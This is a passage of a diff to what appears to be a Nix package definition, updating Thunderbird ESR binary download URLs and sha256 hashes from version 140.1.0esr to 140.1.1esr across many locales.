-      sha256 = "5a3ecef8ffcabbbc60123ba3745b1b1fcf1d37af68b7132ab6e85b8e7dc34c07";
+      sha256 = "6ec79300bdd71d797258b4c9e8f943857f69a0ad5cf948fe326fe0dc9517e502";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ast/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ast/thunderbird-140.1.1esr.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "90bdf01ef3ca297f83e94829f8357a899c036e8c8bad32d1ab81730e14c8539c";
+      sha256 = "703b0797401fb7eed922522a8467ba3445ad5a71c0f81c7f4858f42cc080fcef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/be/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/be/thunderbird-140.1.1esr.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "c8db05ebd470c2850519cc69c6b6aec72e1e1a9586807ef73e6e4522064f669f";
+      sha256 = "b0a3f3a4e4a9453b054289e5d939b77db4effcf4667e219c4caf348653e5050f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/bg/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/bg/thunderbird-140.1.1esr.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "f0aef122695b374b8d5d9aa645510e829c3980305892121a11ed35e9646fd08b";
+      sha256 = "36bfe0d1acb2ba63bbf8ae34e2c39f3ff90b26f8f5c2bec73fdc9b31d70464e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/br/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/br/thunderbird-140.1.1esr.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "b63fe552f4dd1696b0ded0be712d3277d297ab884321229bac0aff578dfb0b8a";
+      sha256 = "0d3a252e23df6de8898912fef53e53b2d050c0dff75dbab4644b7371d27ffb59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ca/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ca/thunderbird-140.1.1esr.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "19247cbb6f6994fb1c97cafdadcbec72eb3c3c9e4cbc848ae2ba3ed1227c0a9d";
+      sha256 = "37e0a46052d49472f75e45d82656aad56b202ba1cd094e271f875e5fe8137a4a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cak/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cak/thunderbird-140.1.1esr.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "8c029d10efac92d8b8482770cebf6347199c6dd5a4f96fd2e8cf29a32a6a6cf0";
+      sha256 = "d7e29fb063478024d7772a867062381252b0db1c4832da0a5254918701ee58c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cs/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cs/thunderbird-140.1.1esr.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "be900224dc75df6ce962daabadcc0e9efc170baead516b746af5ed7e98337190";
+      sha256 = "30f6aac467c61950a4e4bf95692d2d68eb1c1e1de3d5987350a8510c413c9991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/cy/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cy/thunderbird-140.1.1esr.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "f2fc6503cc88c1719ba1524dd031d05aac225bee7f6785f239530ce5192be322";
+      sha256 = "c94dcd1dc7d235e5c8876bd319aeee64d76747e51a007bdabc2c91ded07da83d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/da/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/da/thunderbird-140.1.1esr.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "55d06c3117b26098f17edda9deb84706ba38bd4a6c22adc7270bf6e431a15949";
+      sha256 = "56ec5ec6044ac84fd669445d4a69a181a62f922b4cd9cbd3e8f7d516f0625a30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/de/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/de/thunderbird-140.1.1esr.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "83125097e4c240b3a230d4f1915deaba9e356509eb3f100f8deba7d352d32e20";
+      sha256 = "3fe9deaf6deacba4572081b69e8d872bc98f640515153d7bba203544c5de2a43";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/dsb/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/dsb/thunderbird-140.1.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "528346d87600d87f25aadfc22a568fb6b5d80ed879905f623fa778daf4f40430";
+      sha256 = "2be0e2b0d8a7d3d9bb5ccb8124e60ee93bf58a5c60ea0290f30e57724ab1f01c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/el/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/el/thunderbird-140.1.1esr.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "2cb9aea9ed1830294506c3622ade8af3f368405f91bd15157a6149548e8ed77d";
+      sha256 = "f260a4ac4dd618f26386aa0b58e439e6071573ddae17dd851bba1e6ec0b56270";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-CA/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-CA/thunderbird-140.1.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "9e213ae92ddd13118e3b17b9ec55b078e4386d14b4c003af6a4ec33bcaf1eb53";
+      sha256 = "1e11b27a7ad2734cc0a05290e60ad9d9c52ab14cfc79ce3ca8c7628021bf86a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-GB/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-GB/thunderbird-140.1.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "9d81bc9585e787ccc86a49793a8d68763527685472974fb6bd48d8af849982d4";
+      sha256 = "f8a5c570c2db66cff6579a3849c2a2ee732b7bcb9d08fc78c0b60b809a28655a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/en-US/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-US/thunderbird-140.1.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "94a7e55b8b072150d7195b3fd83a1dfb92c4cc459f4f1584025cdf55fdcbb9b9";
+      sha256 = "13932d2417a5b88f392e52390ef90b43b3e21b2406d2c3c75879acc7a9737d49";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-AR/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-AR/thunderbird-140.1.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "bb7636ef599eec8055030092faac2edfd5c54ad1b50e3520d93b7b379e138b8f";
+      sha256 = "23abeb1a746f68bf41756de800e28eb713f0e4c2bb3e45af753d60ff82ff102a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-ES/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-ES/thunderbird-140.1.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "810b48fa291c0d19c1a0d3a3cf1b4edf646cd7f5f7e4bf6712a414262dac45fa";
+      sha256 = "6899c7b9216211cfcf8508234feddd40bd0f3878c075fcaa9786154aeb5d761e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/es-MX/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-MX/thunderbird-140.1.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "cce7a9edfb6ff43376c328c7013ef50c2da23b8ab91e6c61e39100089259b9e7";
+      sha256 = "161197e28416206f216985796fcb131ec29e2a64170d7ab7be91e686fbcdc014";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/et/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/et/thunderbird-140.1.1esr.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "77bb2e7ee0201c546fba6e06008aada446c5c69d1afe8e459845e1fb49cde5dd";
+      sha256 = "f5a693e7d141e9085ed072f1192effd76298e3a3b81517f41994b2b317208447";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/eu/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/eu/thunderbird-140.1.1esr.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "96c6423c9621b0cf1e701067ff0e03f9039fca140fe96da98f025a0256142324";
+      sha256 = "db90b40e330738e19cdc29fe5386117e363a7980003bf407005278b4a44d43a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fi/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fi/thunderbird-140.1.1esr.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "b882e094df72799ad134687f71f3c90a367413664c91005b7da1ec408d8a953f";
+      sha256 = "7629a5087f7ba516b6ac202b10f9324458f9e7a65151a0e7a0d01d9b1c40805a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fr/thunderbird-140.1.1esr.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "ae57f0fd421c0e21f274c56f7a1ef4ab28a2721a48c1a19394ec6a19b937e0f3";
+      sha256 = "8a7f97f15a3d4659cf1effbc4afa8e176e4aed48a0b279e6628dd29e0db6fed0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/fy-NL/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fy-NL/thunderbird-140.1.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "5a9a57ff7688a83cabbff454058907ebda160b744766878b097de7622bf4e565";
+      sha256 = "7a0164fc992c1705e7927f5654a091e824cb39e120a99c9767d17555a4019567";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ga-IE/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ga-IE/thunderbird-140.1.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "39143e0a585cd77adb7d3389c3f0bfda2201461f591612712af992bf9c803b3c";
+      sha256 = "cf1e7321db36792779fb6edfe35cc45a3795cc055dcc178aba42d17015873c3e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/gd/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/gd/thunderbird-140.1.1esr.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "5628e78b0ebb53b1d3c176c0f73561a388c040e96f22ad50032ccd40033f9385";
+      sha256 = "008ee962be825a4e087051ddf15af624e8a42f75006bcb1b22d44719a30ba66f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/gl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/gl/thunderbird-140.1.1esr.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "312750092889dc23ea3f4bc96e17096984523ac22317b119dff93ce3aa3a5a0b";
+      sha256 = "69ac658f4f79c962382275a126672e4a5ea5dadd987220a5ae05a429f79a7aa1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/he/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/he/thunderbird-140.1.1esr.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "12414b9fe4173bc6f36b6bd806fde3155031c09cb3e04b278985610a05fe6420";
+      sha256 = "0dfa668cf92869c2da406f3646b004a2549333894468ee3343c6c270ead7400d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hr/thunderbird-140.1.1esr.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "52438992ef99f56aa7bbf1b9d9e57c430bcb217cf5f2f9513bc0822da3f6ac8e";
+      sha256 = "8fb0c300ae7d8cab35d0048173f75264d6558245ecbf8cdb88db6019f3607800";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hsb/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hsb/thunderbird-140.1.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "b69f099a5849568965cf8b6e2104c367327b376f68772e3b3aac4d1687b733aa";
+      sha256 = "13b239a77e545dd331c446abb8c2d0cc93f26a4264a0a8c0d9a477273d908591";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hu/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hu/thunderbird-140.1.1esr.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "01436c7fbd357cb222b573722bba0515fbfb91e6784f414d22b0a575ef57b5b1";
+      sha256 = "ad0667c49e91aaf640c290c356a13b109807c9044a5cc38350e688ce336eeada";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/hy-AM/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hy-AM/thunderbird-140.1.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "4f8ed268403590398836fa2410fdb07217e8065e7ab908e5c692d37587bce82c";
+      sha256 = "efd985cf24abba96128993d5dacd664023c2d5ee9cb4ad0e93fdf8857f31634c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/id/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/id/thunderbird-140.1.1esr.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "8dd3c99050f1da269fc90ee70723443c52b2fdc8730c959541dc84c3caa55ca8";
+      sha256 = "511ab012c1cdfd7904177f7f1abd6cdeb360c26aaaa37174fdf7b3af687adcc4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/is/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/is/thunderbird-140.1.1esr.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "8ad1ec0dbbc85dfdf76ec593bdd377b8bc74c70ba0692736c69348365cba06a2";
+      sha256 = "5e038f13e5b22d6c78647b58451f4b4b762f92da311907a01acb4c8f52228bbc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/it/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/it/thunderbird-140.1.1esr.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "51672db7ad0976a9964bdbaf64a10e749a972b813c48512c342160cf48633502";
+      sha256 = "0a6138a7da3416ead8a22810b70a8a135a86755bf3cfe6a69523e484ccdb6d07";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ja/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ja/thunderbird-140.1.1esr.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "50fb4726f63397bfe15c7c8d3272b35fc6190fedfddb5b43b761c70bf22433d1";
+      sha256 = "26d56b6dbc8fda2f3475b286db25629fa7775d9929f773074889a6940368950c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ka/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ka/thunderbird-140.1.1esr.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "57acefd6fecf702ac89d0f35c852578dcf8e8d44bc357f403e408cb634e3776e";
+      sha256 = "07c323d8311f01432bdeb86c7b1ba627b07640a3d692de8d007265a04779ebc0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/kab/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/kab/thunderbird-140.1.1esr.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "803ba9ca63fff30fe3287565156678936b677d7afb45f7d59c63f012f53282ba";
+      sha256 = "e78aec3f7cac1c7898c04f9970aa757fb30372787793bd0cf6cb188d1b5b66bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/kk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/kk/thunderbird-140.1.1esr.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "447396b9d5a4ce9b110d9dad0ebe8357cfdfee65258911ac6192b6c3e7970946";
+      sha256 = "c4eaf2b352af08cadae21c0b8237b36b8694f867dd9c01fa12fc80068d2629a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ko/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ko/thunderbird-140.1.1esr.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "468d1eb467665b84915ca3c57689abc9cd62cda51afc61a7ed4d63b28748da47";
+      sha256 = "5bd2d44c41dfeff1cbc771353d66c01bbbbf2d7796d581cfc5dad85c2f20470a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/lt/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/lt/thunderbird-140.1.1esr.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "87b5832b108358903736bfa0cfb013e295b72006c17b552590349261afc4565d";
+      sha256 = "e7578f394f4ce64fd85007588ec7f4903b01631207f508222cefd5cb00d6b5b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/lv/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/lv/thunderbird-140.1.1esr.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "14cf11465692c14239a0076752010b7ff54d302493f5bfef58920ad1cbbde6fa";
+      sha256 = "3ba8716be0a3ac3a85902cdca9b2de5923bf32904ef206412b77341f441d5ebb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ms/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ms/thunderbird-140.1.1esr.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "2b0721f403a74f8be55005d12d94285eaf91987ce5825226229d1b46d3253487";
+      sha256 = "444c096f12e7121f3891224ea533529937d825e7d167e6e962280cb990e8498f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nb-NO/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nb-NO/thunderbird-140.1.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "ad58811895a5d76e06747c042f71c73985316be4461f21c72508b571281d0aae";
+      sha256 = "16d316019ceb2bb89f7982d8989f87a77795c020bb4b0144f8572b335ccddefa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nl/thunderbird-140.1.1esr.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "31dc88fdddd5c5d1e57eb4af966e3422dae1576dcc02c37ef8bff1c8537eef85";
+      sha256 = "9f23477305f39b70c587fd821090f13236a5e159802837f5a1f0a928e420ca94";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nn-NO/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nn-NO/thunderbird-140.1.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "9f9a0c43cccd2deca4427202b65a950eb6e36d9023cad37db8aa6ab69c5bb0db";
+      sha256 = "2b9dd6d30206a3c19216745bf97f928ed67e343189056ed78fa0f3d90267a8a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pa-IN/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pa-IN/thunderbird-140.1.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "98c87b5a49884e4672b82b2ef8df347437dd73ff5c4f8b69a4449b34c0c79862";
+      sha256 = "1b053c1d7a869649450aaf1c8eaba6e2655ce41dbdc631475094e8cf27877cef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pl/thunderbird-140.1.1esr.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "aa6a633d3311ef1973a0150244ebc57bc6503e8ac7993aa351633d3af5f1b98d";
+      sha256 = "0d6e31b038fb43ee8289bd0a55558afc108ee0962719bcbe9da37fac4cbeff2d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pt-BR/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pt-BR/thunderbird-140.1.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "67d348c101be5f0e94420f754e4461c9df7f01ac530363c80805cd5046cd5deb";
+      sha256 = "9627781755d71d886cd2204af2b650880cc2fcb58eaaecf4499f3a6053b5f208";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pt-PT/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pt-PT/thunderbird-140.1.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "22e6c640ae2bc2b5051a0859160b2352a066b82cef47d1552581a526e26c134d";
+      sha256 = "366026969b6aae8ffef5e2ee7acd42038749e45e13e754b42e6ee77366fbd2ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/rm/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/rm/thunderbird-140.1.1esr.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "38336e796e173197c97d25ff9d929937ab7970a8b45fa69194354877b29bbef5";
+      sha256 = "cdb9f3cb48dcabb38e75c0ec41660c8d82f0c0dfbb2b13784a09276466a3384e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ro/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ro/thunderbird-140.1.1esr.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "58fb4e078e97b5a8429ba5fbc2b1d519d222acc45684688d0007225647a293b2";
+      sha256 = "a0c34df83fa5cc06e65db07a922b569eca3e56f49745967c11102dfafc368788";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ru/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ru/thunderbird-140.1.1esr.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "3c9a8de3c90f5c15d80a408d91dfa3cb32fb6cee4ba0361459322e75edcdab39";
+      sha256 = "b9f209bb54d649cdcc48f0c6595f06211c90fbe8f2e3c1f5849f0ccace760e40";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sk/thunderbird-140.1.1esr.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "2a3e892f97bc8510c259dd321cfaf56278cffbbb2c0384708be4c39c1ffd3655";
+      sha256 = "4966be49d3205d4e1b8787f905cd6324e4ae7944bbf62211711a019fc76870d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sl/thunderbird-140.1.1esr.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "fe6924dcaa38c6c2c0d1cd15e7a5d1377cb84d0fc012a2f5287df293e1af082b";
+      sha256 = "3a7099b21c59d7ab78121a690201d1cc11ccd833a83dc0ca8a21803917154594";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sq/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sq/thunderbird-140.1.1esr.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "dcbdf0dc98cb36014af7aa6eed992a0f59aa675187aca18654087ec89af567bc";
